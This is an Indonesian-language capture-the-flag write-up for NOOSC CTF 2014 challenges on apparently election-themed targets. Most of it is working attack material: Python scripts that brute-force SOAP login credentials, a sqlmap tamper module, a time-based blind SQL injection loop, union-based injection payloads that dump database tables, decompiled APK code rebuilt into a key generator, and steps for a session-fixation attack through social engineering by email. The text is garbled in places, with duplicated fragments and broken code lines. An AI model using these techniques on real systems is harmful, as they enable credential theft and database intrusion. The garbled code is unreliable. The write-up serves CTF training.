Saya belum pernah pake SOAP di python. Jadi saya cari dulu library apa saja yang ada di python untuk soap di python memakai google "python soap library". Ketemu ini http://stackoverflow.com/questions/206154/whats-the-best-soap-client-library-for-python-and-where-is-thedocumentation-f 

Dari deskripsinya, yang SUDS ini sepertinya menarik: "SUDS: Very P ythonic, and easy to create WSDL-consuming SOAP clients. Creating SOAP servers is a little bit more difficult." Cari apakah disupport Debian (distro yang saya pakai): $ apt-cache search python suds  python-suds - Lightweight SOAP client for Python

Ok ternyata ada. Dan ternyata memakainya cukup gampang, hasil dari "python suds tutorial stackoverflow". http://stackoverflow.com/questions/2063720/using-suds-to-test-wsdl

Saya coba dulu di interpreter interactive Type "help", "copyright", "credits" or "license" for more information. >>> from suds.client import Client >>> x = Client("http://fx72657.ctf.noosc.co.id:8`080/?wsdl") >>> x.service.Login("user", "pass") Invalid Username # http://www.noosc.co.id/sme/ >>>

Oh, ternyata kalau usernamenya salah, kita akan mendapatkan info bahwa usernamenya salah. Sekarang saya bisa membaut skrip singkat untuk scan nama usernya: from suds.client import Client import codecs import sys x = Client("http://fx72657.ctf.noosc.co.id:8080/?wsdl") with codecs.open(sys.argv[1], "r") as f: lines = f.readlines() lines = [line.strip() for line in lines] for user in lines: z = x.service.Login(user, "password") if (not z.startswith("Invalid Username")):  print "found user ", user sys.exit(0)

Supaya lebih cepet ketemunya, saya jalankan skripnya di dua console, pertama saya buat dulu daftar user terbalik (supaya dicari dari yg terakhir): tac users.txt > users-rev.txt

Lalu saya jalankan keduanya di dua window  python scanuser.py users.txt  python scanuser.py users-rev.txt

Tidak lama, dapet usernamenya: Noosc Berikutnya bikin skrip serupa untuk passwordnya: from suds.client import Client import codecs import sys x = Client("http://fx72657.ctf.noosc.co.id:8080/?wsdl") with codecs.open(sys.argv[1], "r") as f: lines = f.readlines() lines = [line.strip() for line in lines]

for password in lines: z = x.service.Login("Noosc", password) if (not z.startswith("Invalid Password")):  print "found pass ", password  print z sys.exit(0)

Ternyata passwordnya penetration, dan ketika login benar, hasilnya seperti ini: found pass penetration Token : MTM5NDA5NzAyM0xEM3dxZ0JxZzRFRFBWTUVDdnR4QWhwQXR6THpQQkZ0|Encryptionkey : 618d78aa080b8415725149cd2170436f

Kita liat lagi method-method lain selain login:

Balik lagi baca petunjuknya: hacker mungkin mengeksploitasi bug ini dengan menggunakan tool open source yang sudah ditambahkan kemampuan tampering khusus agar dapat mengirimkan request terenkripsi dalam  format yang disyaratkan oleh web service yang dituju.

Lihat bagian "Request terenkripsi", berarti harus ada proses enkripsinya, dari nama methodnya sa ja dari interpreter  EncryptRequest , pasti ini yang digunakan untuk mengenkripsi. Kita coba saja  python lagi: >>> from suds.client import Client >>> x = Client("http://fx72657.ctf.noosc.co.id:8`080/?wsdl") >>> x.service.EncryptRequest("1", "618d78aa080b8415725149cd2170436f") HXLGy7ntRURUZ5kwiwhlvU+BHQMwKURvvbluaPzOFJM=

Oh ternyata mudah sekali: masukkan data yang ingin dienkrip, dan keynya, maka akan keluar hasilnya. OK berikutnya tinggal dua method lagi

Biasanya SQL Injection itu ada di "get" untuk mendapatkan data, jadi kita bisa coba GetDetails. Token sudah jelas, sekarang coba parameter "request" dengan angka "1" >> x.service.GetDetails("MTM5NDA5NzAyM0xEM3dxZ0JxZzRFRFBWTUVDdnR4QWhwQXR6THpQQkZ0", "1") [2]Unabled to Decrypted your request# Invalid Key

Oh ternyata harus dienkrip dulu, kita coba lagi:

 >> x.service.GetDetails("MTM5NDA5NzAyM0xEM3dxZ0JxZzRFRFBWTUVDdnR4QWhwQXR6THpQQkZ0", x.service.EncryptRequest("1", "618d78aa080b8415725149c " 618d78aa080b8415725149cd2170436f")) d2170436f")) ID:1|Partai:Partai Caesar|Count:100|Note:

Ok, jadi begitu cara memakai EncryptRequest dan GetDetails. Kita coba partai no 2 >> x.service.GetDetails("MTM5NDA5NzAyM0xEM3dxZ0JxZzRFRFBWTUVDdnR4QWhwQXR6THpQQkZ0", x.service.EncryptRequest("2", "618d78aa080b8415725149c " 618d78aa080b8415725149cd2170436f")) d2170436f")) ID:2|Partai:Partai Troy|Count:70|Note: Kita coba no 99999

Cara otomatis

sa ya gak  PERHATIAN : cara ini tidak efisien, ini cara pertama yg terpikir oleh saya, bahkan saya sempet baca sourcenya sqlmap. Tapi dengan cara ini, saya bisa coding sedikit sekali, nggak mikir apa-apa, terus saya tinggal rapat. Lihat cara yang lebih benar di bagian berikut. Sejujurnya, saya nggak sempet membaca soal sqlmap, saya cuma baca tutorial singkat ini: http://bernardodamele.blogspot.com/2010/06/sqlmap-and-soap-based-web-services.html Setelah membaca sedikit soal sqlmap, saya langsung membuat modul tampering , berdasarkan contoh modul untuk base64, saya langsung bikin ini: from suds.client import Client import codecs import sys from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING  __priority__ = PRIORITY.LOWEST

def dependencies():  pass ctf_encryptor = None def tamper(payload, **kwargs): global ctf_encryptor if ctf_encryptor is None: ctf_encryptor = Client("http://fx72657.ctf.noosc.co.id:8080/?wsdl")  print "PL ", payload[44:] return ctf_encryptor.service.EncryptRequest("2"+payload[44:].en ctf_encryptor.service.EncryptRequest("2"+payload[44:].encode(UNICODE_ENCODING), code(UNICODE_ENCODING), "618d78aa080b8415725149cd2170436f") "618d78aa080b8415725149cd2170436f ") if payload else payload

Lalu sisanya saya serahkan ke sqlmap:

 python sqlmap.py -v 6 -r request.txt request.txt -p 'request' --tamper encrypt encrypt

Dan yang ketemu adalah time-based blind. Tapi ini sepertinya karena kesalahan saya dalam coding modul tamperingnya. --Place: (custom) POST Parameter: SOAP #1* Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: MTM5NDA5NzAyM0xEM3dxZ0JxZzRFRFBWTUVDdnR4QWhwQXR6THpQQkZ0Gdfj8pQG7TAjic1+1+hGn7Z2VZDSR8dzITl6eN832ws= AND SLEEP(5) Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) --[15:18:17] [WARNING] changes made by tampering scripts are not included i n shown payload content(s) [15:18:17] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 7.0 (wheezy) web application technology: Apache 2.2.22, PHP 5.4.4  back-end DBMS: MySQL 5.0.11

Sisanya saya menggunakan cara brutal:  python sqlmap.py -v 6 -r request.txt -p 'request' --tamper encrypt --dbms mysql --technique=T --current-db --current-db

Dapat nama databasenya: db_ctf_noosc_7 Untuk mendapatkan tabelnya:  python sqlmap.py -v 6 -r request.txt -p 'request' --tamper encrypt --dbms mysql --technique=T -D db_ctf_noosc_7 db_ctf_noosc_7 -tables

Keluar nama databasenya adalah acl dan vote_results Mendapatkan kolomnya:  python sqlmap.py -v 6 -r request.txt -p 'request' --tamper encrypt --dbms mysql --technique=T -D db_ctf_noosc_7 T acl --columns

Dapat hasilnya: +-----------+-------------+ | Column | Type | +-----------+-------------+

| id | int(1) | | ipaddress | varchar(50) | +-----------+-------------+

Saya pastikan ada berapa row:  python sqlmap.py -v 6 -r request.txt -p 'request' --tamper encrypt --dbms mysql --technique=T -D db_ctf_noosc_7 db_ctf_noosc_7 T acl --count

Ternyata cuma 1, jadi bisa cepat  python sqlmap.py -v 6 -r request.txt -p 'request' --tamper encrypt --dbms mysql --technique=T -D db_ctf_noosc_7 db_ctf_noosc_7 T acl -C id,ipaddress --dump --dump --stop 1

Seharusnya ini langkah terakhir tergampang. Waktu jam pulang kerja, di titik ini saya stuck karena jaringan selalu error. Akhirnya saya bikin skrip singkat. Intinya saya mengambil query yang dihasilkan oleh sqlmap, terus saya batasi supaya hanya mengecek 0123456789:abcdef  karena  karena itulah range karakter ipv6 (sebelumnya saya bikin query manual untuk check apakah ada karakter : atau . untuk menentukan apakah itu ipv4 atau ipv6). from suds.client import Client import time client = Client("http://fx72657.ctf.noosc.co.id:8080/?wsdl") chars = list('0123456789:abcdef') for i in range(1, 40): for c in chars:  print "current ", i, c millis = int(round(time.time() * 1000)) client.service.GetDetails("MTM5NDA5NzAyM0xEM3dxZ0JxZzRFRFBWTUVDdnR4QWhwQXR6THpQQkZ0", client.service.EncryptRequest("2 AND 5569= IF(ORD(MID((SELECT ipaddress from acl limit 1),%d,1))=%d, SLEEP(5), 5569)" % (i, ord(c)), "618d78aa080b8415725149cd2170436f")) millisnow = int(round(time.time() * 1000)) if ((millisnow -millis)>4000):  print "index ", i  print "char ", c

Setelah beberapa menit, ketemulah jawabannya. Cara manual yang cepat

Cara ini saya dapatkan setelah selesai menemukan semuanya di atas dengan sqlmap. Prompt >> artinya saya di shell python >>> token = "MTM5NDA5NzAyM0xEM3dxZ0JxZzRFRFBWTUVDdnR4QWhwQXR6THpQQkZ0"

 >>> key = "618d78aa080b8415725149cd2170436f "618d78aa080b8415725149cd2170436f"" >>> x.service.GetDetails(, x.service.EncryptRequest("99999",key)) [1]Unabled to Decrypted your request# Invalid Key or Invalid Request

Ternyata kalo data yang diminta tidak ketemu salah hasilnya seperti itu. Dengan cara yang sama dengan soal 6: >> x.service.GetDetails(token, x.service.EncryptRequest("1 or 1 union select 1,2,3,4", key)) ID:1|Partai:2|Count:3|Note:4

Dan cari nama tabelnya: >> x.service.GetDetails(token, x.service.EncryptRequest("1 or 1 union (select 1,2,3,group_concat(table_name separator '----') from information_schema.tables where table_type='base table') ", key)) ID:1|Partai:2|Count:3|Note:acl----vote_results

Lihat cuma ada dua tabel: acl dan vote_results Cari nama kolom untuk acl: >> x.service.GetDetails(token, x.service.EncryptRequest("1 or 1 union (select 1,2,3,group_concat(column_name separator '---') from information_schema.columns where table_name='acl') ", key)) ID:1|Partai:2|Count:3|Note:id---ipaddress

Ada dua kolom: id dan ipaddress, kita bisa dapatkan keduanya langsung: >> x.service.GetDetails(token, x.service.EncryptRequest("1 or 1 union (select 1,2,id,ipaddress from acl) ", key)) ID:1|Partai:2|Count:1|Note:1780:f0d0:1002:0051:0000:1234:1234:1114

Dan itulah flagnya: 1780:f0d0:1002:0051:0000:1234:1234:1114 Oh iya: sepertinya flag ini kadang diganti oleh panitianya, karena di awal flag yang saya dapat adalah 2607:f0d0:1002:0051:0000:0000:0000:0004

Challenge 8 NOOSC CTF 2014: Part 1 Catatan Panitia Challenge 8.1 dimaksudkan untuk menunjukkan salah satu konsep penting yang perlu diperhatikan saat merancang sistem keamanan, yakni: proteksi software seperti apapun pasti bisa ditaklukkan jika penyerang telah memiliki akses penuh ke sistem operasi. Pengembang aplikasi memang bisa memakai teknik-teknik obfuscation untuk coba mempersulit cracker —  namun   namun jika seluruh binary dan file yang dibutuhkan untuk menjalankan aplikasi telah dimiliki penyerang, dan ia memiliki kontrol terhadap lingkungan eksekusi aplikasi tersebut (OS maupun hardware), maka pembobolan sistem proteksi aplikasi tersebut hanyalah menjadi masalah waktu saja. Kondisi mendasar inilah yang menyebabkan mengapa proteksi macam DRM itu sulit diterapkan secara efektif tanpa adanya dukungan hardware khusus yang bersifat tamper resistant. resistant. Dalam challenge 8.1 ini, teknik obfuscation memang sengaja tidak dipakai karena memperhitungkan waktu kompetisi yang terbatas. Namun harapan kami keterbatasan proteksi software sebagaimana dijelaskan di atas tetap menjadi "take away message" untuk para peserta yang sempat mengerjakan skenario ini. Bagaimana juga, teknik  security through obscurity seperti obfuscation hanyalah berguna untuk memperlambat dan mengalihkan perhatian saja, dan  perlu ditopang teknik pengamanan lainnya untuk bisa lebih efektif. Kesalahan yang banyak terjadi dalam dunia nyata, adanya proteksi macam obfuscation justru menjadi alasan bagi developer untuk lebih lengah dalam menerapkan proteksi di bagian lain  —   dan ini yang perlu kita coba hindari bersama.

Skenario Setelah pengambilan suara selesai, Penyelenggara Pemilu kini dapat fokus untuk menelusuri  jejak komplotan hacker yang sebelumnya sering melakukan serangan-serangan untuk mengacaukan jalannya Pemilu. Setelah proses investigasi awal, Anda berhasil menemukan suatu aplikasi Android (.apk) buatan tim hacker yang hanya dapat dijalankan di gadget anggota kelompok mereka. Aplikasi ini diduga dipakai oleh anggota tim hacker untuk mendapatkan key unik masing-masing, yang selanjutnya dapat dipakai anggota untuk mengakses sistem internal tim hacker. Challenge Anda diminta untuk menemukan key (flag) salah satu anggota tim hacker. Solusi Untuk misi ini, penggunaan emulator dan SDK Android tidak mutlak diperlukan. Disini kita menggunakan tool yang umum dipakai, yaitu:   

dex2jar   jd-gui Java Development Kit (JDK)

Pertama yang harus kita lakukan adalah mengkonversi file .apk menjadi .jar menggunakan tool dex2jar . Selanjutnya kita buka file hasil konversi menggunakan tool  jd-gui.

Tool  jd-gui memperlihatkan bahwa aplikasi ini terdiri dari beberapa package. Kita hanya perlu fokus ke satu package saja, yaitu com.anonymouse.access yang terdiri dari beberapa class seperti yang diperlihatkan pada gambar berikut.

Langkah berikutnya yaitu kita mencari fungsi utama yang menjalankan proses generate key. Fungsi utama ini bisa kita temukan di class FormActivity seperti yang bisa kita lihat di bawah.  public void onClick(View paramView){ String str1 = UUID.randomUUID().toString(); String str2 = FormActivity.this.editTextMember.getText().toString();  byte[] arrayOfByte1 = { 97, 108, 103, 101, 98, 114, 97 };  byte[] arrayOfByte2 = { 102, 97, 114, 97, 98, 105 };  byte[] arrayOfByte3 = { 101, 117, 108, 101, 114 };  byte[] arrayOfByte4 = { 103, 97, 117, 115, 115 };  byte[] arrayOfByte5 = { 100, 101, 115, 99, 97, 114, 116, 101, 115 }; String str3 = new String(arrayOfByte1); if (str2.equals(str3)){ FormActivity.this.editTextKey.setText(Utils.b(FormActivity.this.a + str3.charAt(3))); return; } if (str2.equals(new String(arrayOfByte2).toString())){ FormActivity.this.editTextKey.setText(Utils.b(FormActivity.this.a + new String(arrayOfByte2).charAt(3))); return; } if (str2.equals(new String(arrayOfByte3).toString())){ FormActivity.this.editTextKey.setText(Utils.b(FormActivity.this.a + new String(arrayOfByte3).charAt(2))); return; } if (str2.equals(new String(arrayOfByte4).toString())){ FormActivity.this.editTextKey.setText(Utils.b(FormActivity.this.a + new String(arrayOfByte4).charAt(3))); return; } if (str2.equals(new String(arrayOfByte5).toString())){ FormActivity.this.editTextKey.setText(Utils.b(FormActivity.this.a + new String(arrayOfByte5).charAt(6))); return; } if (str2.length() < 2){ FormActivity.this.editTextKey.setText(FormActivity.this.getString(2131230761)); return; } FormActivity.this.editTextKey.setText(str1); }

Fungsi ini juga menjalankan fungsi lain di luar class FormActivity, yaitu fungsi  b() yang ada di class Utils seperti yang terlihat seperti di bawah.  public static final String b(String paramString) { try { MessageDigest localMessageDigest = MessageDigest.getInstance(new String(new byte[] { 77, 68, 53 })); localMessageDigest.update(paramString.getBytes());  byte[] arrayOfByte = localMessageDigest.digest(); localMessageDigest.digest(); StringBuffer localStringBuffer = new StringBuffer(); int i = 0; if (i >= arrayOfByte.length) return localStringBuffer.toString(); String str; for (Object localObject = Integer.toHexString(0xFF & arrayOfByte[i]); ; localObject = str){ if (((String)localObject).length() >= 2){ localStringBuffer.append((String)localObject); i++;  break; } str = "0" + (String)localObject; } } catch (Exception localException){ localException.printStackTrace(); } return (String)""; }

Code ini butuh penyesuaian, karena hasil output jd-gui agak sedikit berantakan di bagian for loop. Sehingga code baru akan nampak seperti dibawah  public static String b(String paramString) throws NoSuchAlgorithmException{ MessageDigest localMessageDigest = MessageDigest.getInstance(new String(new byte[] { 77, 68, 53 })); localMessageDigest.update(paramString.getBytes());  byte[] arrayOfByte = localMessageDigest.digest(); localMessageDigest.digest(); StringBuffer localStringBuffer = new StringBuffer(); int i = 0; String str=""; for (;;){ if (i >= arrayOfByte.length) return localStringBuffer.toString(); String localObject = Integer.toHexString(0xFF & arrayOfByte[i]); if (((String)localObject).length() < 2){ str = "0" + (String)localObject; localObject = str } localStringBuffer.append((String)localObject); i++; } }

Kemudian kita tinggal mencari satu komponen lagi, yaitu variabel FormActivity.this.a. Variabel ini di-assign di dalam fungsi initFacebookInfo()  private void initFacebookInfo(){ Session localSession = Session.getActiveSession(); Request.newMeRequest(localSession, new Request.GraphUserCallback(localSession){  public void onCompleted(GraphUser paramGraphUser, Response Response paramResponse){ if ((this.val$session == Session.getActiveSession()) && (paramGraphUser != null)){ FormActivity.this.profilePicture.setProfileId(paramGraphUser.getId()); FormActivity.this.textUsername.setText(paramGraphUser.getName()); FormActivity.this.a = paramGraphUser.getUsername(); } if (paramResponse.getError() != null) Toast.makeText(FormActivity.this.getApplicationContext(), "Failed to get user info", 0).show(); } }).executeAsync(); }

Sekarang kita tinggal menulis ulang apa-apa yang telah kita dapatkan di atas. import java.security.MessageDigest; import java.security.NoSuchAlgorithmException;  public class Main {  public static String b(String paramString) throws NoSuchAlgorithmException{ MessageDigest localMessageDigest = MessageDigest.getInstance(new String(new byte[] { 77, 68, 53 })); localMessageDigest.update(paramString.getBytes());  byte[] arrayOfByte = localMessageDigest.digest(); localMessageDigest.digest(); StringBuffer localStringBuffer = new StringBuffer(); int i = 0; String str=""; for (;;){ if (i >= arrayOfByte.length) return localStringBuffer.toString(); String localObject = Integer.toHexString(0xFF & arrayOfByte[i]); if (((String)localObject).length() < 2){ str = "0" + (String)localObject; localObject = str; } localStringBuffer.append((String)localObject); i++; } }  public static void clickButton(String str2) throws NoSuchAlgorithmException{  byte[] arrayOfByte1 = { 97, 108, 103, 101, 98, 114, 97 };  byte[] arrayOfByte2 = { 102, 97, 114, 97, 98, 105 };  byte[] arrayOfByte3 = { 101, 117, 108, 101, 114 };  byte[] arrayOfByte4 = { 103, 97, 117, 115, 115 };  byte[] arrayOfByte5 = { 100, 101, 115, 99, 97, 114, 116, 101, 115 }; String str3 = new String(arrayOfByte1);

 System.out.println(Main.b(str2+new String(arrayOfByte5).charAt(6))); }  public static void main(String[] args) throws NoSuchAlgorithmException { if (args.length > 0) { String str2 = args[0]; //facebook username Main.clickButton(str2); }else{ System.out.println("Please supply valid username"); } } }

Kemudian kita lakukan kompilasi menggunakan JDK dan jalankan aplikasi dengan argumen username. Setiap peserta akan mendapatkan flag yang unik :)

Challenge 8 NOOSC CTF 2014: Part 2 Catatan Panitia Challenge 8.2 ini ditujukan untuk menggarisbawahi pentingnya faktor manusia dalam  pengamanan informasi. Dalam kegiatan penetration testing yang sesungguhnya, informasi yang telah dilindungi oleh sistem pengamanan berlapis dan mutakhir terkadang malah mudah ditembus dengan mengeksploitasi faktor yang seringkali menjadi the weakest link in the security chain ini. Untuk memenuhi tujuan di atas, maka kelemahan yang sengaja ditanam dalam aplikasi target di sini adalah kelemahan jenis session-fixation session-fixation,, dan peserta diharapkan mengeksploitasinya dengan teknik social-engineering via email. Selama proses CTF berlangsung, kami cukup terkejut ketika menyadari bahwa rupanya dari beberapa peserta yang sempat mengirimkan email ke target, cuma satu saja yang langsung secara sistematis menyerang fungsi login ke aplikasi. Hal lain yang juga mengejutkan, rupanya dalam pelaksanaan CTF terdapat tiga peserta yang  berhasil mengalahkan challenge ini tanpa melalui jalur penyelesaian resmi di atas :). Sebagai contoh, Yohanes  berhasil masuk dengan memanfaatkan kesalahan aplikasi yang melakukan validasi login melalui fungsi PHP strcmp(). Kedua peserta lainnya kemungkinan besar juga menggunakan cara yang sama, karena kami tidak menemukan email dari mereka di dalam mailbox alamat email yang menjadi target social engineering. Komentar kami terhadap kesalahan penggunaan strcmp() itu? Maklum developernya tidak  biasa pakai PHP karena sudah sejak lama bahasa itu diharamkan bagi pengembangan di internal  Noosc :). Selanjutnya, mari kita bahas cara penyelesaian resmi yang memakai teknik social engineering via email untuk mengeksploitasi kelemahan session-fixation dalam aplikasi target challenge 8.2.

Skenario Skenario ini merupakan lanjutan dari Challenge 8.1

Key yang sebelumnya Anda dapatkan ternyata dapat dipakai untuk membuka file terenkripsi yang lupa dihapus oleh tim hacker di salah satu sistem Pemilu. File tersebut berisi alamat URL ke forum tim hacker, yakni http://f0rumh4x.ctf.noosc.co.id:8080/

Challenge Anda harus menyusup ke dalam forum tim hacker untuk mencari informasi tentang target investigasi (flag) selanjutnya.

Solusi Halaman forum tim hacker yang dimaksud diperlihatkan pada gambar berikut.

Di halaman tersebut yang perlu diperhatikan selain form login yang mengarah ke login.php , adalah alamat email [email protected], dan kalimat "Contact Us if you have interesting hacking  project."  Jika kita mengirimkan email ke alamat tersebut, maka ma ka script bot di sisi server akan secara otomatis menjawab dengan pesan sebagai berikut:

Jawaban di atas akan terus diberikan sampai kita mengirimkan pesan email berisi alamat URL. Jika itu kita lakukan, bot akan mengakses URL tersebut dengan perintah curl dan menjawab  balik dengan pesan di bawah ini:

Perintah curl yang dijalankan bot akan selalu berisi data POST untuk  parameter username dan password, dan ini dapat dengan mudah dicek dengan mengirimkan URL alamat situs yang kita kontrol, lalu menggunakan perangkat macam tcpdump atau wireshark untuk menangkap hasilnya. Bot tidak akan mengirimkan password yang sebenarnya  jika URL yang diakses berbeda dengan alamat forum, tapi paling tidak kita dapat mengetahui  bahwa ada data post yang dikirimkan setiap kali kita mendapat jawaban "menuju ke tkp masganbro". Selanjutnya, yang perlu dilakukan hanyalah:   



Membuka situs http://f0rumh4x.ctf.noosc.co.id:8080/ dengan browser; Mencatat atau mengeset parameter PHPSESSID yang ditunjukkan di address bar; Mengirimkan email berisi URL ke http://f0rumctf.noosc.co.id:8080/login.php?PHPSESSID=string-yang-sesuai ; Menunggu kurang lebih satu menit, lalu refresh browser.

Kita akan langsung otomatis masuk ke halaman admin.php sebagai berikut.

Flag adalah salah satu pasangan IP dan port di atas. Tinggal dicoba masukkan satu-persatu, hingga ketemu yang valid: 182.253.226.158:45371

Challenge 8 NOOSC CTF 2014: Part 3 Catatan Panitia Challenge ini ditujukan untuk mengasah dan menguji kemampuan analisa kasus para peserta terhadap keseluruhan rantai investigasi challenge 8, mulai dari 8.1 sampai 8.3. Dalam investigasi kasus sesungguhnya, bukti dan petunjuk seringkali tersebar di beberapa tempat, tidak muncul ke  permukaan secara sekuensial, dan tidak langsung jelas memiliki keterkaitan antara satu dan lainnya. Untuk mewujudkan tujuan itu, maka challenge 8.3 dirancang untuk tidak memiliki bug yang  berdiri sendiri, dan penyelesaiannya harus memanfaatkan sebagian informasi dari 8.1 dan/atau 8.2. Secara singkat, alur penyelesaian challenge 8.3 ini adalah sebagai berikut: 





 



Peserta memeriksa target sistem yang diberikan, dan mengetahui versi software yang berjalan di sana (openftpd versi 1.3.0) Peserta mencari informasi tentang software tersebut dan menemukan informasi tentang kelemahan dan eksploit publik macam CVE-2006-5815 Peserta mempelajari informasi publik yang ada, dan menyadari bahwa diperlukan akses "write" lewat FTP untuk dapat melakukan eksploitasi. Peserta menyadari ia telah mengantongi beberapa nama user saat menyelesaikan skenario 8.1. Peserta menelusuri kembali sumber kode 8.1, dan mencoba memasukkan nama-nama user tersebut ke fungsi password generator yang ada di aplikasi tersebut. Peserta berhasil masuk ke server FTP dengan nama user dan password temuannya, sehingga ia kini memiliki hak akses "write" ke server.

Dan setelah memiliki hak akses "write" tersebut, peserta dapat memilih dua alternatif berbeda untuk coba menyelesaikan challenge ini: pertama, meneruskan alur pikiran sebelumnya untuk mencoba melakukan eksploitasi terhadap openftpd 1.3.0; atau kedua, mencari petunjuk lebih lanjut dengan terlebih dahulu memeriksa isi direktori di server FTP dengan teliti. Dari kedua alternatif tersebut, cara kedua jauh lebih mudah dari yang pertama. Alternatif kedua hanya perlu membaca petunjuk yang disembunyikan di file .profile, sedangkan alternatif pertama melibatkan modifikasi kode eksploit yang tersedia di publik saat ini akibat adanya perbedaan versi sistem operasi yang digunakan dengan challenge 8.3 (versi OS ini di-hint melalui pesan error 404 Apache yang ada di port 8080 server yang sama). Jadi sesuai tujuan di atas, diharapkan memang peserta yang lebih teliti dalam melakukan analisa dan tidak segera lompat ke kesimpulan lah, yang akan dapat menyelesaikan challenge 8.3 ini dengan lebih cepat. Selanjutnya, di bawah ini adalah cara penyelesaian challenge 8.3 alternatif kedua. Yang ingin menguji alternatif pertama, bisa menginstall sendiri proftpd 1.3.0 di atas Ubuntu 12.04 LTS, membuat akun pengguna ftp yang memiliki hak tulis ke home direktori, lalu coba memodifikasi eksploit terkait dari Metasploit. Hanya saja mungkin perlu diketahui bahwa untuk alternatif  pertama tersebut, te rsebut, tim internal kami sendiri belum sempat mengetes modifikasi eksploit tersebut karena keterbatasan waktu, so bagi yang berminat kami ucapkan good luck and have fun ;)

Skenario Analisis terhadap bukti-bukti digital yang yang ada menunjukkan bahwa alamat yang Anda temukan temukan sebelumnya (IP: 182.253.226.158 Port: P ort: 45371) seringkali digunakan sebagai titik awal serangan yang dilakukan oleh tim hacker.

Challenge Anda ditugaskan untuk menyusup ke sistem tersebut dan mencari tahu identitas sesungguhnya (flag) dari ketua tim hacker.

Solusi Kita cek dahulu service apa yang berjalan di IP dan Port tersebut $ telnet 182.253.226.158 45371 Trying 182.253.226.158... Connected to 192.168.9.145. Escape character is '^]'. 220 ProFTPD 1.3.0 Server (ProFTPD Default Installation) [192.168.15.150]

Disini terdapat user anonymous yang diberi hak akses tetapi hanya read-only saja dan tidak ada yang penting di home directory-nya. Untuk mendapatkan username yang benar, kita harus balik lagi ke misi 8a. Source code yang sudah kita dapat sangat berguna sekali disini, yaitu fungsi   yang benar, maka kita akan mendapatkan username dan Utils.b(). Dengan menyertakan input  yang  sekaligus.  password  sekaligus. Untuk input fungsi ini bisa kita dapatkan di class FormActivity, yaitu pada bagian deklarasi variabel arrayOfByte1 -arrayOfByte5.

Ketika kita konversi data byte ini ke dalam bentuk String, maka akan menghasilkan lima nama alias anggota hacker . Nama-nama alias tersebut adalah:     

algebra farabi euler gauss Descartes

Kelima alias tersebut dapat digunakan untuk login ke server  ftp   ftp dengan menggunakan password  dari output  keygen yang kita miliki. Jika kita mencoba semua user tersebut untuk login menggunakan password yang kita dapat, kita akan menyadari bahwa user euler akan gagal login.

Clue password untuk user euler terletak pada file .profile di home directory user lainnya. Isi dari file .profile adalah sbb # # # # #

~/.profile: executed by the command interpreter for login shells. This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login exists. see /usr/share/doc/bash/examples/startup-files for examples. the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask # for ssh logins, install and configure the libpam-umask package. #umask 022 # if running bash if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi # set PATH so it includes user's private bin if it exists if [ -d "$HOME/bin" ] ; then PATH="$HOME/bin:$PATH" fi # remember guys, euler's seed is the table header of our admin forum page :p

Dijelaskan bahwa seed password  untuk  untuk euler berada pada table header  admin  admin forum mereka, yaitu Target Host/IP.

Kita dapat manfaatkan lagi fungsi Utils.b() yang kita punya untuk men- generate  generate password  euler dengan input Target Host/IP. Sekarang kita login ke server ftp mereka menggunakan user  euler  dan  password  1dc2952eb0fbade275aaaef24e787ff8 . Setelah kita berhasil login, kita download   flag yang  berada di file .FLAG.TXT. File ini pada dasarnya tersembunyi, sehingga harus memakai perintah  file ini, gunakan perintah get .FLAG.TXT ls -a untuk dapat melihatnya. Untuk men-download  file

Sekarang buka file tersebut dengan text editor apapun untuk mengetahui siapa dalang dibalik  penyerangan aplikasi Pemilu kemarin.

Flag yang benar untuk misi 8.3 ini adalah hartati&sunardi  ;)